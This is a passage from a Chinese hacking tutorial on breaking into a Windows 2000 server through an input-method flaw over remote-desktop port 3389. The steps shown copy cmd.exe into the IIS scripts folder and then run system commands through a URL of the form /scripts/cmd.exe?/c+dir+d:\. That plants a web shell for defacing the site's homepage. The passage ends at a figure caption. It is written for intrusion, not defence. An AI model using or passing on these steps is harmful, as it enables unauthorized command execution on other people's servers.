6.2 基于3389端口结合输入法漏洞入侵(2)

    

6.2.2  通过输入法漏洞简单更改目标服务器的主页

(1) 在如图6-36所示的【跳至URL】对话框中输入D:\winnt\system32\cmd.exe(这里是Win2k安装在D盘)，单击【确定】按钮，如图6-36所示。

图6-36  输入CMD程序路径

(2) 此时会出现下载CMD.exe程序对话框，如图6-37所示。

图6-37  下载CMD程序

(3) 在【文件下载】对话框中选择【将该程序保存到磁盘】单选按钮，单击【确定】按钮将CMD保存到d:\inetpub\scripts目录下，如图6-38所示。

图6-38  将CMD程序保存到Scripts目录下

(4) 在如图6-36所示的【跳至URL】中输入http://127.0.0.1/scripts/cmd.exe?/c+dir+d:\，可以列出D盘目录，如图6-39所示。

图6-39  列出

评论 (0) All

登陆 还没注册？